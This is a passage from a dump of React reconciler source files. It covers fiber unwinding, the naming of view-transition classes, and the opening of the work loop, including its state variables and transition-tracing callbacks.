 popHostContainer(workInProgress);\n      popTopLevelLegacyContextObject(workInProgress);\n      const flags = workInProgress.flags;\n      if (\n        (flags & ShouldCapture) !== NoFlags &&\n        (flags & DidCapture) === NoFlags\n      ) {\n        // There was an error during render that wasn't captured by a suspense\n        // boundary. Do a second pass on the root to unmount the children.\n        workInProgress.flags = (flags & ~ShouldCapture) | DidCapture;\n        return workInProgress;\n      }\n      // We unwound to the root without completing it. Exit.\n      return null;\n    }\n    case HostHoistable:\n    case HostSingleton:\n    case HostComponent: {\n      // TODO: popHydrationState\n      popHostContext(workInProgress);\n      return null;\n    }\n    case ActivityComponent: {\n      const activityState: null | ActivityState = workInProgress.memoizedState;\n      if (activityState !== null) {\n        popSuspenseHandler(workInProgress);\n\n        if (workInProgress.alternate === null) {\n          throw new Error(\n            'Threw in newly mounted dehydrated component. This is likely a bug in ' +\n              'React. Please file an issue.',\n          );\n        }\n\n        resetHydrationState();\n      }\n\n      const flags = workInProgress.flags;\n      if (flags & ShouldCapture) {\n        workInProgress.flags = (flags & ~ShouldCapture) | DidCapture;\n        // Captured a suspense effect. Re-render the boundary.\n        if (\n          enableProfilerTimer &&\n          (workInProgress.mode & ProfileMode) !== NoMode\n        ) {\n          transferActualDuration(workInProgress);\n        }\n        return workInProgress;\n      }\n      return null;\n    }\n    case SuspenseComponent: {\n      popSuspenseHandler(workInProgress);\n      const suspenseState: null | SuspenseState = workInProgress.memoizedState;\n      if (suspenseState !== null && suspenseState.dehydrated !== null) {\n        if (workInProgress.alternate === null) {\n          throw new Error(\n            'Threw in newly mounted dehydrated component. This is likely a bug in ' +\n              'React. Please file an issue.',\n          );\n        }\n\n        resetHydrationState();\n      }\n\n      const flags = workInProgress.flags;\n      if (flags & ShouldCapture) {\n        workInProgress.flags = (flags & ~ShouldCapture) | DidCapture;\n        // Captured a suspense effect. Re-render the boundary.\n        if (\n          enableProfilerTimer &&\n          (workInProgress.mode & ProfileMode) !== NoMode\n        ) {\n          transferActualDuration(workInProgress);\n        }\n        return workInProgress;\n      }\n      return null;\n    }\n    case SuspenseListComponent: {\n      popSuspenseListContext(workInProgress);\n      // SuspenseList doesn't normally catch anything. It should've been\n      // caught by a nested boundary. If not, it should bubble through.\n      const flags = workInProgress.flags;\n      if (flags & ShouldCapture) {\n        workInProgress.flags = (flags & ~ShouldCapture) | DidCapture;\n        // If we caught something on the SuspenseList itself it's because\n        // we want to ignore something. Re-enter the cycle and handle it\n        // in the complete phase.\n        const renderState: null | SuspenseListRenderState =\n          workInProgress.memoizedState;\n        if (renderState !== null) {\n          // Cut off any remaining tail work and don't commit the rendering one.\n          // This assumes that we have already confirmed that none of these are\n          // already mounted.\n          renderState.rendering = null;\n          renderState.tail = null;\n        }\n        // Schedule the commit phase to attach retry listeners.\n        workInProgress.flags |= Update;\n        return workInProgress;\n      }\n      return null;\n    }\n    case HostPortal:\n      popHostContainer(workInProgress);\n      return null;\n    case ContextProvider:\n      const context: ReactContext<any> = workInProgress.type;\n      popProvider(context, workInProgress);\n      return null;\n    case OffscreenComponent:\n    case LegacyHiddenComponent: {\n      popSuspenseHandler(workInProgress);\n      popHiddenContext(workInProgress);\n      popTransition(workInProgress, current);\n      const flags = workInProgress.flags;\n      if (flags & ShouldCapture) {\n        workInProgress.flags = (flags & ~ShouldCapture) | DidCapture;\n        // Captured a suspense effect. Re-render the boundary.\n        if (\n          enableProfilerTimer &&\n          (workInProgress.mode & ProfileMode) !== NoMode\n        ) {\n          transferActualDuration(workInProgress);\n        }\n        return workInProgress;\n      }\n      return null;\n    }\n    case CacheComponent:\n      const cache: Cache = workInProgress.memoizedState.cache;\n      popCacheProvider(workInProgress, cache);\n      return null;\n    case TracingMarkerComponent:\n      if (enableTransitionTracing) {\n        if (workInProgress.stateNode !== null) {\n          popMarkerInstance(workInProgress);\n        }\n      }\n      return null;\n    default:\n      return null;\n  }\n}\n\nfunction unwindInterruptedWork(\n  current: Fiber | null,\n  interruptedWork: Fiber,\n  renderLanes: Lanes,\n) {\n  // Note: This intentionally doesn't check if we're hydrating because comparing\n  // to the current tree provider fiber is just as fast and less error-prone.\n  // Ideally we would have a special version of the work loop only\n  // for hydration.\n  popTreeContext(interruptedWork);\n  switch (interruptedWork.tag) {\n    case ClassComponent: {\n      const childContextTypes = interruptedWork.type.childContextTypes;\n      if (childContextTypes !== null && childContextTypes !== undefined) {\n        popLegacyContext(interruptedWork);\n      }\n      break;\n    }\n    case HostRoot: {\n      const root: FiberRoot = interruptedWork.stateNode;\n      const cache: Cache = interruptedWork.memoizedState.cache;\n      popCacheProvider(interruptedWork, cache);\n\n      if (enableTransitionTracing) {\n        popRootMarkerInstance(interruptedWork);\n      }\n\n      popRootTransition(interruptedWork, root, renderLanes);\n      popHostContainer(interruptedWork);\n      popTopLevelLegacyContextObject(interruptedWork);\n      break;\n    }\n    case HostHoistable:\n    case HostSingleton:\n    case HostComponent: {\n      popHostContext(interruptedWork);\n      break;\n    }\n    case HostPortal:\n      popHostContainer(interruptedWork);\n      break;\n    case ActivityComponent: {\n      if (interruptedWork.memoizedState !== null) {\n        popSuspenseHandler(interruptedWork);\n      }\n      break;\n    }\n    case SuspenseComponent:\n      popSuspenseHandler(interruptedWork);\n      break;\n    case SuspenseListComponent:\n      popSuspenseListContext(interruptedWork);\n      break;\n    case ContextProvider:\n      const context: ReactContext<any> = interruptedWork.type;\n      popProvider(context, interruptedWork);\n      break;\n    case OffscreenComponent:\n    case LegacyHiddenComponent:\n      popSuspenseHandler(interruptedWork);\n      popHiddenContext(interruptedWork);\n      popTransition(interruptedWork, current);\n      break;\n    case CacheComponent:\n      const cache: Cache = interruptedWork.memoizedState.cache;\n      popCacheProvider(interruptedWork, cache);\n      break;\n    case TracingMarkerComponent:\n      if (enableTransitionTracing) {\n        const instance: TracingMarkerInstance | null =\n          interruptedWork.stateNode;\n        if (instance !== null) {\n          popMarkerInstance(interruptedWork);\n        }\n      }\n      break;\n    default:\n      break;\n  }\n}\n\nexport {unwindWork, unwindInterruptedWork};\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberViewTransitionComponent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ViewTransitionClass, ViewTransitionProps} from 'shared/ReactTypes';\nimport type {FiberRoot} from './ReactInternalTypes';\nimport type {ViewTransitionInstance, Instance} from './ReactFiberConfig';\n\nimport {\n  getCommittingRoot,\n  getPendingTransitionTypes,\n} from './ReactFiberWorkLoop';\n\nexport type ViewTransitionState = {\n  autoName: null | string, // the view-transition-name to use when an explicit one is not specified\n  paired: null | ViewTransitionState, // a temporary state during the commit phase if we have paired this with another instance\n  clones: null | Array<Instance>, // a temporary state during the apply gesture phase if we cloned this boundary\n  ref: null | ViewTransitionInstance, // the current ref instance. This can change through the lifetime of the instance.\n};\n\nlet globalClientIdCounter: number = 0;\n\nexport function getViewTransitionName(\n  props: ViewTransitionProps,\n  instance: ViewTransitionState,\n): string {\n  if (props.name != null && props.name !== 'auto') {\n    return props.name;\n  }\n  if (instance.autoName !== null) {\n    return instance.autoName;\n  }\n\n  // We assume we always call this in the commit phase.\n  const root = ((getCommittingRoot(): any): FiberRoot);\n  const identifierPrefix = root.identifierPrefix;\n  const globalClientId = globalClientIdCounter++;\n  const name =\n    '_' + identifierPrefix + 't_' + globalClientId.toString(32) + '_';\n  instance.autoName = name;\n  return name;\n}\n\nfunction getClassNameByType(classByType: ?ViewTransitionClass): ?string {\n  if (classByType == null || typeof classByType === 'string') {\n    return classByType;\n  }\n  let className: ?string = null;\n  const activeTypes = getPendingTransitionTypes();\n  if (activeTypes !== null) {\n    for (let i = 0; i < activeTypes.length; i++) {\n      const match = classByType[activeTypes[i]];\n      if (match != null) {\n        if (match === 'none') {\n          // If anything matches \"none\" that takes precedence over any other\n          // type that also matches.\n          return 'none';\n        }\n        if (className == null) {\n          className = match;\n        } else {\n          className += ' ' + match;\n        }\n      }\n    }\n  }\n  if (className == null) {\n    // We had no other matches. Match the default for this configuration.\n    return classByType.default;\n  }\n  return className;\n}\n\nexport function getViewTransitionClassName(\n  defaultClass: ?ViewTransitionClass,\n  eventClass: ?ViewTransitionClass,\n): ?string {\n  const className: ?string = getClassNameByType(defaultClass);\n  const eventClassName: ?string = getClassNameByType(eventClass);\n  if (eventClassName == null) {\n    return className === 'auto' ? null : className;\n  }\n  if (eventClassName === 'auto') {\n    return null;\n  }\n  return eventClassName;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberWorkLoop.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {REACT_STRICT_MODE_TYPE} from 'shared/ReactSymbols';\n\nimport type {\n  Wakeable,\n  Thenable,\n  GestureOptionsRequired,\n} from 'shared/ReactTypes';\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\nimport type {Lanes, Lane} from './ReactFiberLane';\nimport type {ActivityState} from './ReactFiberActivityComponent';\nimport type {SuspenseState} from './ReactFiberSuspenseComponent';\nimport type {FunctionComponentUpdateQueue} from './ReactFiberHooks';\nimport type {Transition} from 'react/src/ReactStartTransition';\nimport type {\n  PendingTransitionCallbacks,\n  PendingBoundaries,\n  TransitionAbort,\n} from './ReactFiberTracingMarkerComponent';\nimport type {OffscreenInstance} from './ReactFiberOffscreenComponent';\nimport type {\n  Resource,\n  ViewTransitionInstance,\n  RunningViewTransition,\n  GestureTimeline,\n  SuspendedState,\n} from './ReactFiberConfig';\nimport type {RootState} from './ReactFiberRoot';\nimport {\n  getViewTransitionName,\n  type ViewTransitionState,\n} from './ReactFiberViewTransitionComponent';\nimport type {TransitionTypes} from 'react/src/ReactTransitionType';\n\nimport {\n  enableCreateEventHandleAPI,\n  enableProfilerTimer,\n  enableProfilerCommitHooks,\n  enableProfilerNestedUpdatePhase,\n  enableSchedulingProfiler,\n  enableUpdaterTracking,\n  enableTransitionTracing,\n  disableLegacyContext,\n  alwaysThrottleRetries,\n  enableInfiniteRenderLoopDetection,\n  disableLegacyMode,\n  enableComponentPerformanceTrack,\n  enableYieldingBeforePassive,\n  enableThrottledScheduling,\n  enableViewTransition,\n  enableGestureTransition,\n  enableDefaultTransitionIndicator,\n  enableParallelTransitions,\n} from 'shared/ReactFeatureFlags';\nimport {resetOwnerStackLimit} from 'shared/ReactOwnerStackReset';\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\nimport is from 'shared/objectIs';\n\nimport reportGlobalError from 'shared/reportGlobalError';\n\nimport {\n  // Aliased because `act` will override and push to an internal queue\n  scheduleCallback as Scheduler_scheduleCallback,\n  shouldYield,\n  requestPaint,\n  now,\n  NormalPriority as NormalSchedulerPriority,\n  IdlePriority as IdleSchedulerPriority,\n} from './Scheduler';\nimport {\n  logBlockingStart,\n  logGestureStart,\n  logTransitionStart,\n  logRenderPhase,\n  logInterruptedRenderPhase,\n  logSuspendedRenderPhase,\n  logRecoveredRenderPhase,\n  logErroredRenderPhase,\n  logInconsistentRender,\n  logSuspendedWithDelayPhase,\n  logSuspendedCommitPhase,\n  logSuspendedViewTransitionPhase,\n  logCommitPhase,\n  logPaintYieldPhase,\n  logStartViewTransitionYieldPhase,\n  logAnimatingPhase,\n  logPassiveCommitPhase,\n  logYieldTime,\n  logActionYieldTime,\n  logSuspendedYieldTime,\n  setCurrentTrackFromLanes,\n  markAllLanesInOrder,\n  logApplyGesturePhase,\n} from './ReactFiberPerformanceTrack';\n\nimport {\n  resetAfterCommit,\n  scheduleTimeout,\n  cancelTimeout,\n  noTimeout,\n  afterActiveInstanceBlur,\n  startSuspendingCommit,\n  suspendOnActiveViewTransition,\n  waitForCommitToBeReady,\n  getSuspendedCommitReason,\n  preloadInstance,\n  preloadResource,\n  supportsHydration,\n  setCurrentUpdatePriority,\n  getCurrentUpdatePriority,\n  resolveUpdatePriority,\n  trackSchedulerEvent,\n  startViewTransition,\n  startGestureTransition,\n  stopViewTransition,\n  addViewTransitionFinishedListener,\n  createViewTransitionInstance,\n  flushHydrationEvents,\n} from './ReactFiberConfig';\n\nimport {createWorkInProgress, resetWorkInProgress} from './ReactFiber';\nimport {isRootDehydrated} from './ReactFiberShellHydration';\nimport {\n  getIsHydrating,\n  popHydrationStateOnInterruptedWork,\n} from './ReactFiberHydrationContext';\nimport {\n  NoMode,\n  ProfileMode,\n  ConcurrentMode,\n  StrictLegacyMode,\n  StrictEffectsMode,\n} from './ReactTypeOfMode';\nimport {\n  HostRoot,\n  ClassComponent,\n  ActivityComponent,\n  SuspenseComponent,\n  SuspenseListComponent,\n  OffscreenComponent,\n  FunctionComponent,\n  ForwardRef,\n  MemoComponent,\n  SimpleMemoComponent,\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n} from './ReactWorkTags';\nimport {ConcurrentRoot, LegacyRoot} from './ReactRootTags';\nimport type {Flags} from './ReactFiberFlags';\nimport {\n  NoFlags,\n  Incomplete,\n  StoreConsistency,\n  HostEffectMask,\n  ForceClientRender,\n  BeforeMutationMask,\n  MutationMask,\n  LayoutMask,\n  PassiveMask,\n  PlacementDEV,\n  Visibility,\n  MountPassiveDev,\n  MountLayoutDev,\n  DidDefer,\n  ShouldSuspendCommit,\n  MaySuspendCommit,\n  ScheduleRetry,\n  PassiveTransitionMask,\n} from './ReactFiberFlags';\nimport {\n  NoLanes,\n  NoLane,\n  SyncLane,\n  claimNextRetryLane,\n  includesSyncLane,\n  isSubsetOfLanes,\n  mergeLanes,\n  removeLanes,\n  pickArbitraryLane,\n  includesNonIdleWork,\n  includesOnlyRetries,\n  includesOnlyTransitions,\n  includesBlockingLane,\n  includesTransitionLane,\n  includesRetryLane,\n  includesIdleGroupLanes,\n  includesExpiredLane,\n  getNextLanes,\n  getEntangledLanes,\n  getLanesToRetrySynchronouslyOnError,\n  upgradePendingLanesToSync,\n  markRootSuspended as _markRootSuspended,\n  markRootUpdated as _markRootUpdated,\n  markRootPinged as _markRootPinged,\n  markRootFinished,\n  addFiberToLanesMap,\n  movePendingFibersToMemoized,\n  addTransitionToLanesMap,\n  getTransitionsForLanes,\n  includesSomeLane,\n  OffscreenLane,\n  SyncUpdateLanes,\n  UpdateLanes,\n  claimNextTransitionDeferredLane,\n  checkIfRootIsPrerendering,\n  includesOnlyViewTransitionEligibleLanes,\n  isGestureRender,\n  GestureLane,\n  SomeTransitionLane,\n  SomeRetryLane,\n  IdleLane,\n} from './ReactFiberLane';\nimport {\n  DiscreteEventPriority,\n  DefaultEventPriority,\n  lowerEventPriority,\n  lanesToEventPriority,\n  eventPriorityToLane,\n} from './ReactEventPriorities';\nimport {requestCurrentTransition} from './ReactFiberTransition';\nimport {\n  SelectiveHydrationException,\n  beginWork,\n  replayFunctionComponent,\n} from './ReactFiberBeginWork';\nimport {completeWork} from './ReactFiberCompleteWork';\nimport {unwindWork, unwindInterruptedWork} from './ReactFiberUnwindWork';\nimport {\n  throwException,\n  createRootErrorUpdate,\n  createClassErrorUpdate,\n  initializeClassErrorUpdate,\n} from './ReactFiberThrow';\nimport {\n  commitBeforeMutationEffects,\n  shouldFireAfterActiveInstanceBlur,\n  commitAfterMutationEffects,\n  commitLayoutEffects,\n  commitMutationEffects,\n  commitPassiveMountEffects,\n  commitPassiveUnmountEffects,\n  disappearLayoutEffects,\n  reconnectPassiveEffects,\n  reappearLayoutEffects,\n  disconnectPassiveEffect,\n  invokeLayoutEffectMountInDEV,\n  invokePassiveEffectMountInDEV,\n  invokeLayoutEffectUnmountInDEV,\n  invokePassiveEffectUnmountInDEV,\n  accumulateSuspenseyCommit,\n} from './ReactFiberCommitWork';\nimport {resetShouldStartViewTransition} from './ReactFiberCommitViewTransitions';\nimport {shouldStartViewTransition} from './ReactFiberCommitViewTransitions';\nimport {\n  insertDestinationClones,\n  applyDepartureTransitions,\n  startGestureAnimations,\n} from './ReactFiberApplyGesture';\nimport {enqueueUpdate} from './ReactFiberClassUpdateQueue';\nimport {resetContextDependencies} from './ReactFiberNewContext';\nimport {\n  resetHooksAfterThrow,\n  resetHooksOnUnwind,\n  ContextOnlyDispatcher,\n} from './ReactFiberHooks';\nimport {DefaultAsyncDispatcher} from './ReactFiberAsyncDispatcher';\nimport {\n  createCapturedValueAtFiber,\n  type CapturedValue,\n} from './ReactCapturedValue';\nimport {\n  enqueueConcurrentRenderForLane,\n  finishQueueingConcurrentUpdates,\n  getConcurrentlyUpdatedLanes,\n} from './ReactFiberConcurrentUpdates';\n\nimport {\n  blockingClampTime,\n  blockingUpdateTime,\n  blockingUpdateTask,\n  blockingUpdateType,\n  blockingUpdateMethodName,\n  blockingUpdateComponentName,\n  blockingEventTime,\n  blockingEventType,\n  blockingEventRepeatTime,\n  blockingSuspendedTime,\n  gestureClampTime,\n  gestureUpdateTime,\n  gestureUpdateTask,\n  gestureUpdateType,\n  gestureUpdateMethodName,\n  gestureUpdateComponentName,\n  gestureEventTime,\n  gestureEventType,\n  gestureEventRepeatTime,\n  gestureSuspendedTime,\n  transitionClampTime,\n  transitionStartTime,\n  transitionUpdateTime,\n  transitionUpdateTask,\n  transitionUpdateType,\n  transitionUpdateMethodName,\n  transitionUpdateComponentName,\n  transitionEventTime,\n  transitionEventType,\n  transitionEventRepeatTime,\n  transitionSuspendedTime,\n  clearBlockingTimers,\n  clearGestureTimers,\n  clearGestureUpdates,\n  clearTransitionTimers,\n  clampBlockingTimers,\n  clampGestureTimers,\n  clampTransitionTimers,\n  clampRetryTimers,\n  clampIdleTimers,\n  markNestedUpdateScheduled,\n  renderStartTime,\n  commitStartTime,\n  commitEndTime,\n  commitErrors,\n  recordRenderTime,\n  recordCommitTime,\n  recordCommitEndTime,\n  startProfilerTimer,\n  stopProfilerTimerIfRunningAndRecordDuration,\n  stopProfilerTimerIfRunningAndRecordIncompleteDuration,\n  trackSuspendedTime,\n  startYieldTimer,\n  yieldStartTime,\n  yieldReason,\n  startPingTimerByLanes,\n  recordEffectError,\n  resetCommitErrors,\n  PINGED_UPDATE,\n  SPAWNED_UPDATE,\n  startAnimating,\n  stopAnimating,\n  animatingLanes,\n  retryClampTime,\n  idleClampTime,\n  animatingTask,\n} from './ReactProfilerTimer';\n\n// DEV stuff\nimport getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';\nimport ReactStrictModeWarnings from './ReactStrictModeWarnings';\nimport {\n  isRendering as ReactCurrentDebugFiberIsRenderingInDEV,\n  resetCurrentFiber,\n  runWithFiberInDEV,\n} from './ReactCurrentFiber';\nimport {\n  isDevToolsPresent,\n  markCommitStarted,\n  markCommitStopped,\n  markComponentRenderStopped,\n  markComponentSuspended,\n  markComponentErrored,\n  markLayoutEffectsStarted,\n  markLayoutEffectsStopped,\n  markPassiveEffectsStarted,\n  markPassiveEffectsStopped,\n  markRenderStarted,\n  markRenderYielded,\n  markRenderStopped,\n  onCommitRoot as onCommitRootDevTools,\n  onPostCommitRoot as onPostCommitRootDevTools,\n  setIsStrictModeForDevtools,\n} from './ReactFiberDevToolsHook';\nimport {onCommitRoot as onCommitRootTestSelector} from './ReactTestSelectors';\nimport {releaseCache} from './ReactFiberCacheComponent';\nimport {\n  isLegacyActEnvironment,\n  isConcurrentActEnvironment,\n} from './ReactFiberAct';\nimport {processTransitionCallbacks} from './ReactFiberTracingMarkerComponent';\nimport {\n  SuspenseException,\n  SuspenseActionException,\n  SuspenseyCommitException,\n  getSuspendedThenable,\n  isThenableResolved,\n} from './ReactFiberThenable';\nimport {schedulePostPaintCallback} from './ReactPostPaintCallback';\nimport {\n  getSuspenseHandler,\n  getShellBoundary,\n} from './ReactFiberSuspenseContext';\nimport {resetChildReconcilerOnUnwind} from './ReactChildFiber';\nimport {\n  ensureRootIsScheduled,\n  flushSyncWorkOnAllRoots,\n  flushSyncWorkOnLegacyRootsOnly,\n  requestTransitionLane,\n} from './ReactFiberRootScheduler';\nimport {getMaskedContext, getUnmaskedContext} from './ReactFiberLegacyContext';\nimport {logUncaughtError} from './ReactFiberErrorLogger';\nimport {\n  scheduleGestureCommit,\n  stopCommittedGesture,\n} from './ReactFiberGestureScheduler';\nimport {claimQueuedTransitionTypes} from './ReactFiberTransitionTypes';\n\nconst PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;\n\ntype ExecutionContext = number;\n\nexport const NoContext = /*             */ 0b000;\nconst BatchedContext = /*               */ 0b001;\nexport const RenderContext = /*         */ 0b010;\nexport const CommitContext = /*         */ 0b100;\n\ntype RootExitStatus = 0 | 1 | 2 | 3 | 4 | 5 | 6;\nconst RootInProgress = 0;\nconst RootFatalErrored = 1;\nconst RootErrored = 2;\nconst RootSuspended = 3;\nconst RootSuspendedWithDelay = 4;\nconst RootSuspendedAtTheShell = 6;\nconst RootCompleted = 5;\n\n// Describes where we are in the React execution stack\nlet executionContext: ExecutionContext = NoContext;\n// The root we're working on\nlet workInProgressRoot: FiberRoot | null = null;\n// The fiber we're working on\nlet workInProgress: Fiber | null = null;\n// The lanes we're rendering\nlet workInProgressRootRenderLanes: Lanes = NoLanes;\n\nexport opaque type SuspendedReason = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;\nconst NotSuspended: SuspendedReason = 0;\nconst SuspendedOnError: SuspendedReason = 1;\nconst SuspendedOnData: SuspendedReason = 2;\nconst SuspendedOnImmediate: SuspendedReason = 3;\nconst SuspendedOnInstance: SuspendedReason = 4;\nconst SuspendedOnInstanceAndReadyToContinue: SuspendedReason = 5;\nconst SuspendedOnDeprecatedThrowPromise: SuspendedReason = 6;\nconst SuspendedAndReadyToContinue: SuspendedReason = 7;\nconst SuspendedOnHydration: SuspendedReason = 8;\nconst SuspendedOnAction: SuspendedReason = 9;\n\n// When this is true, the work-in-progress fiber just suspended (or errored) and\n// we've yet to unwind the stack. In some cases, we may yield to the main thread\n// after this happens. If the fiber is pinged before we resume, we can retry\n// immediately instead of unwinding the stack.\nlet workInProgressSuspendedReason: SuspendedReason = NotSuspended;\nlet workInProgressThrownValue: mixed = null;\n\n// Tracks whether any siblings were skipped during the unwind phase after\n// something suspends. Used to determine whether to schedule another render\n// to prewarm the skipped siblings.\nlet workInProgressRootDidSkipSuspendedSiblings: boolean = false;\n// Whether the work-in-progress render is the result of a prewarm/prerender.\n// This tells us whether or not we should render the siblings after\n// something suspends.\nlet workInProgressRootIsPrerendering: boolean = false;\n\n// Whether a ping listener was attached during this render. This is slightly\n// different that whether something suspended, because we don't add multiple\n// listeners to a promise we've already seen (per root and lane).\nlet workInProgressRootDidAttachPingListener: boolean = false;\n\n// A contextual version of workInProgressRootRenderLanes. It is a superset of\n// the lanes that we started working on at the root. When we enter a subtree\n// that is currently hidden, we add the lanes that would have committed if\n// the hidden tree hadn't been deferred. This is modified by the\n// HiddenContext module.\n//\n// Most things in the work loop should deal with workInProgressRootRenderLanes.\n// Most things in begin/complete phases should deal with entangledRenderLanes.\nexport let entangledRenderLanes: Lanes = NoLanes;\n\n// Whether to root completed, errored, suspended, etc.\nlet workInProgressRootExitStatus: RootExitStatus = RootInProgress;\n// The work left over by components that were visited during this render. Only\n// includes unprocessed updates, not work in bailed out children.\nlet workInProgressRootSkippedLanes: Lanes = NoLanes;\n// Lanes that were updated (in an interleaved event) during this render.\nlet workInProgressRootInterleavedUpdatedLanes: Lanes = NoLanes;\n// Lanes that were updated during the render phase (*not* an interleaved event).\nlet workInProgressRootRenderPhaseUpdatedLanes: Lanes = NoLanes;\n// Lanes that were pinged (in an interleaved event) during this render.\nlet workInProgressRootPingedLanes: Lanes = NoLanes;\n// If this render scheduled deferred work, this is the lane of the deferred task.\nlet workInProgressDeferredLane: Lane = NoLane;\n// Represents the retry lanes that were spawned by this render and have not\n// been pinged since, implying that they are still suspended.\nlet workInProgressSuspendedRetryLanes: Lanes = NoLanes;\n// Errors that are thrown during the render phase.\nlet workInProgressRootConcurrentErrors: Array<CapturedValue<mixed>> | null =\n  null;\n// These are errors that we recovered from without surfacing them to the UI.\n// We will log them once the tree commits.\nlet workInProgressRootRecoverableErrors: Array<CapturedValue<mixed>> | null =\n  null;\n\n// Tracks when an update occurs during the render phase.\nlet workInProgressRootDidIncludeRecursiveRenderUpdate: boolean = false;\n// Thacks when an update occurs during the commit phase. It's a separate\n// variable from the one for renders because the commit phase may run\n// concurrently to a render phase.\nlet didIncludeCommitPhaseUpdate: boolean = false;\n// The most recent time we either committed a fallback, or when a fallback was\n// filled in with the resolved UI. This lets us throttle the appearance of new\n// content as it streams in, to minimize jank.\n// TODO: Think of a better name for this variable?\nlet globalMostRecentFallbackTime: number = 0;\n// Track the most recent time we started a new Transition. This lets us apply\n// heuristics like the suspensey image timeout based on how long we've waited\n// already.\nlet globalMostRecentTransitionTime: number = 0;\n\nconst FALLBACK_THROTTLE_MS: number = 300;\n\n// The absolute time for when we should start giving up on rendering\n// more and prefer CPU suspense heuristics instead.\nlet workInProgressRootRenderTargetTime: number = Infinity;\n// How long a render is supposed to take before we start following CPU\n// suspense heuristics and opt out of rendering more content.\nconst RENDER_TIMEOUT_MS = 500;\n\nlet workInProgressTransitions: Array<Transition> | null = null;\nexport function getWorkInProgressTransitions(): null | Array<Transition> {\n  return workInProgressTransitions;\n}\n\n// The first setState call that eventually caused the current render.\nlet workInProgressUpdateTask: null | ConsoleTask = null;\n\nlet currentPendingTransitionCallbacks: PendingTransitionCallbacks | null = null;\nlet currentEndTime: number | null = null;\n\nexport function addTransitionStartCallbackToPendingTransition(\n  transition: Transition,\n) {\n  if (enableTransitionTracing) {\n    if (currentPendingTransitionCallbacks === null) {\n      currentPendingTransitionCallbacks = {\n        transitionStart: [],\n        transitionProgress: null,\n        transitionComplete: null,\n        markerProgress: null,\n        markerIncomplete: null,\n        markerComplete: null,\n      };\n    }\n\n    if (currentPendingTransitionCallbacks.transitionStart === null) {\n      currentPendingTransitionCallbacks.transitionStart =\n        ([]: Array<Transition>);\n    }\n\n    currentPendingTransitionCallbacks.transitionStart.push(transition);\n  }\n}\n\nexport function addMarkerProgressCallbackToPendingTransition(\n  markerName: string,\n  transitions: Set<Transition>,\n  pendingBoundaries: PendingBoundaries,\n) {\n  if (enableTransitionTracing) {\n    if (currentPendingTransitionCallbacks === null) {\n      currentPendingTransitionCallbacks = ({\n        transitionStart: null,\n        transitionProgress: null,\n        transitionComplete: null,\n        markerProgress: new Map(),\n        markerIncomplete: null,\n        markerComplete: null,\n      }: PendingTransitionCallbacks);\n    }\n\n    if (currentPendingTransitionCallbacks.markerProgress === null) {\n      currentPendingTransitionCallbacks.markerProgress = new Map();\n    }\n\n    currentPendingTransitionCallbacks.markerProgress.set(markerName, {\n      pendingBoundaries,\n      transitions,\n    });\n  }\n}\n\nexport function addMarkerIncompleteCallbackToPendingTransition(\n  markerName: string,\n  transitions: Set<Transition>,\n  aborts: Array<TransitionAbort>,\n) {\n  if (enableTransitionTracing) {\n    if (currentPendingTransitionCallbacks === null) {\n      currentPendingTransitionCallbacks = {\n        transitionStart: null,\n        transitionProgress: null,\n        transitionComplete: null,\n        markerProgress: null,\n        markerIncomplete: new Map(),\n        markerComplete: null,\n      };\n    }\n\n    if (currentPendingTransitionCallbacks.markerIncomplete === null) {\n      currentPendingTransitionCallbacks.markerIncomplete = new Map();\n    }\n\n    currentPendingTransitionCallbacks.markerIncomplete.set(markerName, {\n      transitions,\n      aborts,\n    });\n  }\n}\n\nexport function addMarkerCompleteCallbackToPendingTransition(\n  markerName: string,\n  transitions: Set<Transition>,\n) {\n  if (enableTransitionTracing) {\n    if (currentPendingTransitionCallbacks === null) {\n      currentPendingTransitionCallbacks = {\n        transitionStart: null,\n        transitionProgress: null,\n        transitionComplete: null,\n        markerProgress: null,\n        markerIncomplete: null,\n        markerComplete: new Map(),\n      };\n    }\n\n    if (currentPendingTransitionCallbacks.markerComplete === null) {\n      currentPendingTransitionCallbacks.markerComplete = new Map();\n    }\n\n    currentPendingTransitionCallbacks.markerComplete.set(\n      markerName,\n      transitions,\n    );\n  }\n}\n\nexport function addTransitionProgressCallbackToPendingTransition(\n  transition: Transition,\n  boundaries: PendingBoundaries,\n) {\n  if (enableTransitionTracing) {\n    if (currentPendingTransitionCallbacks === null) {\n      currentPendingTransitionCallbacks = {\n        transitionStart: null,\n        transitionProgress: new Map(),\n        transitionComplete: null,\n        markerProgress: null,\n        markerIncomplete: null,\n        markerComplete: null,\n      };\n    }\n\n    if (currentPendingTransitionCallbacks.transitionProgress === null) {\n      currentPendingTransitionCallbacks.transitionProgress = new Map();\n    }\n\n    currentPendingTransitionCallbacks.transitionProgress.set(\n      transition,\n      boundaries,\n    );\n  }\n}\n\nexport function addTransitionCompleteCallbackToPendingTransition(\n  transition: Transition,\n) {\n  if (enableTransitionTracing) {\n    if (currentPendingTransitionCallbacks === null) {\n      currentPendingTransitionCallbacks = {\n        transitionStart: null,\n        transitionProgress: null,\n        transitionComplete: [],\n        markerProgress: null,\n        markerIncomplete: null,\n        markerComplete: null,\n      };\n    }\n\n    if (currentPendingTransitionCallbacks.transitionComplete === null) {\n      currentPendingTransitionCallbacks.transitionComplete =\n        ([]: Array<Transition>);\n    }\n\n    currentPendingTransitionCallbacks.transitionComplete.push(transition);\n  }\n}\n\nfunction resetRenderTimer() {\n  workInProgressRootRenderTargetTime = now() + RENDER_TIMEOUT_MS;\n}\n\nexport function getRenderTargetTime(): number {\n  return workInProgressRootRenderTargetTime;\n}\n\nlet legacyErrorBoundariesThatAlreadyFailed: Set<mixed> | null = null;\n\ntype SuspendedCommitReason = null | string;\n\ntype DelayedCommitReason = 0 | 1 | 2 | 3;\nconst IMMEDIATE_COMMIT = 